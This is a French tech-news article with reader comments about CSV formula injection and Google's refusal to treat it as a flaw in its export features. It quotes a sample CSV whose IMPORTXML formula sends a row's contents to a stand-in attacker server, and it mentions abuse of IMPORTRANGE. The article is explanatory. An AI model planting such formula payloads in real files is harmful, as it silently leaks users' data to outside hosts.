Developpez.com

Le Club des Développeurs et IT Pro

Injection CSV : Google dédouane ses produits

Mais que dire de ce rebondissement à propos du tableur Sheets ?

Le 2017-10-12 11:22:40, par Patrick Ruiz, Chroniqueur Actualités
Ne me la fais pas, lancera un utilisateur averti de technologies informatiques lorsqu’on essaie de lui parler des attaques par injection CSV. Les développements à ce sujet ont pris de la poussière. Sous certains cieux, on dit même : « les bords ont vieilli. » Le vecteur d’attaque est en effet crédité d’une entrée dans le top 10 de l’Open Web Application Security Project (OWASP) – un projet avec focus sur la sécurisation des applications Web – qui date de 2013. Le vecteur d’attaque est connu et semble-t-il, pris à la légère.

Dans un billet de blog qui fait suite aux alertes de sécurité reçues de diverses équipes de recherche, Google répond : « nous recevons de temps à autre des rapports qui font une description des attaques par injection CSV. Ces derniers soulignent qu’un de nos produits, doté de la fonctionnalité d’exportation vers le format CSV peut être abusé par l’injection de formules Excel au sein d’un fichier à télécharger par un utilisateur. […]. Au-delà de la possibilité de réaliser des opérations arithmétiques sur la machine d’une victime, cet état de choses peut conduire à l’exécution de commandes arbitraires. »

Et d’ajouter : « d’après notre équipe sécurité, il ne s’agit pas d’une situation dont la solution est de notre ressort ou qui pourrait avoir un impact sur la sécurité de nos utilisateurs et de nos produits. […]. Les fichiers CSV c’est du texte et l’évaluation des formules en leur sein est un comportement exhibé par un sous-ensemble d’applications qui les ouvrent. Il s’agit donc plus d’un effet secondaire de l’utilisation de ce format de fichiers qu’une faille dans nos produits capables d’exporter les fichiers CSV. Ce vecteur d’attaque peut être mitigé par l’application qui importe des données d’une source externe, comme Microsoft Excel par exemple, en générant un avertissement. Conclusion, nous ne pensons pas que le risque introduit par ce comportement nécessite que des changements soient apportés à nos produits. »

Le coupable est, semble-t-il, très vite désigné, à savoir : les applications tierces et les développeurs en charge de mettre en place les protections nécessaires pour s’assurer d’une importation sans risque des fichiers CSV. Le bout de code CSV qui suit montre qu’un attaquant peut abuser de l’application Google Sheets elle-même en extirpant des données à un utilisateur même averti. Un appel à la fonction IMPORTXML (fonction de l’API Google Sheets que l’on retrouve aussi sur Excel) précédée de l’un des symboles qui déclenchent l’évaluation d’une formule (en l’occurrence ici =) et l’attaquant déclenche l’accès furtif à une ressource externe. « Google Sheets devrait au moins générer un avertissement lorsqu’une requête externe est générée lors de l’importation d’un fichier CSV », note l’auteur du billet de blog source.

Code :
1
2
3
4
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240
Il y a plus… le cas de l’utilisateur averti qui, dans une organisation bénéficie la plupart du temps des droits d’administrateur, est celui qui donne le plus froid dans le dos. Un appel bien placé de la fonction IMPORTRANGE dans un fichier CSV et l’attaquant peut avoir accès à des informations stockées au sein d’autres fichiers sur disque.

La firme de Mountain View est au courant des vulnérabilités qu’exhibe son produit, mais ne semble pas changer d’avis sur la question. Les développeurs en charge de ces questions devront donc continuer à implémenter les protections nécessaires pour éviter que leurs organisations respectives puissent être pénétrées de la sorte. La littérature sur le sujet abonde sur la toile depuis un moment, 2013 selon des estimations. L’auteur du billet de blog pour sa part propose de faire précéder les symboles qui déclenchent l’évaluation des formules par le caractère de tabulation.

Source : billet de blog, Google Bughunter University

Et vous ?

Que pensez-vous du positionnement de Google par rapport à ce vecteur d’attaques ?

Comment en tant que développeur vous assurez-vous que l’importation de fichiers CSV ne pose pas de problème de sécurité ?

Voir aussi :

Des pirates se servent d'attaques par injection de SQL pour attaquer des sites conçus avec le CMS Drupal et y installer de faux ransomware
  Discussion forum
6 commentaires
  • transgohan
    Expert éminent
    Que pensez-vous du positionnement de Google par rapport à ce vecteur d’attaques ?
    Que pour une fois leur réponse est tout à fait cohérente et correcte et qu'on ne peut pas leur jeter la balle.

    Quand on ouvre un fichier texte au format csv le comportement voulu n'est pas d'exécuter du code ou des formules, il y a donc bien un problème dans l'éditeur qui ouvre le dit fichier.
    On va nous répondre que ce n'est pas un bug mais une fonctionnalité bientôt non ? Bah fonctionnalité aberrante au discrédit de la sécurité dans ce cas.
  • Envoyé par Patrick Ruiz
    Il y a plus … le cas de l’utilisateur averti qui, dans une organisation bénéficie la plupart du temps des droits d’administrateur, est celui qui donne le plus froid au dos. Un appel bien placé de la fonction IMPORTRANGE dans un fichier CSV et l’attaquant peut avoir accès à des informations stockées au sein d’autres fichiers sur disque.
    Je n'y connais rien en sécurité donc je me pose la question : un "utilisateur averti" fait du CSV ou du excel avec les droits d'administration ?
  • BugFactory
    Membre chevronné
    Envoyé par Dasoft
    Donc Google a bien un problème dans son éditeur, on peut leur jeter la balle du coup
    L'éditeur en question est Excel, de Microsoft.

    Je suis d'accord avec Google sur ce coup. Ils n'ont pas à supprimer une fonctionnalité de leurs produits à cause d'un bogue d'Excel, c'est à Microsoft de régler le problème.
  • transgohan
    Expert éminent
    Envoyé par Dasoft
    Donc Google a bien un problème dans son éditeur, on peut leur jeter la balle du coup
    Google ne fait que de l'export au format CSV d'après l'article. Et on leur reproche de ne pas filtrer les chaînes de texte qui sont exécutés ensuite par un logiciel tierce comme du code ou une formule.
  • abriotde
    Membre chevronné
    Mais c'est comme un navigateur, Excel devrait dire attention ou il va charger les données de tel site (Qui plus est pas en HTTPS) en demandant à l'utilisateur. Si Google changeait cela n'empêcherait pas n'importe quel hacker de faire un fichier verreux
  • Dasoft
    Membre actif
    Quand on ouvre un fichier texte au format csv le comportement voulu n'est pas d'exécuter du code ou des formules, il y a donc bien un problème dans l'éditeur qui ouvre le dit fichier.
    Donc Google a bien un problème dans son éditeur, on peut leur jeter la balle du coup

    ici les deux sont en tort : Google et Microsoft qui n'affichent aucun message d'information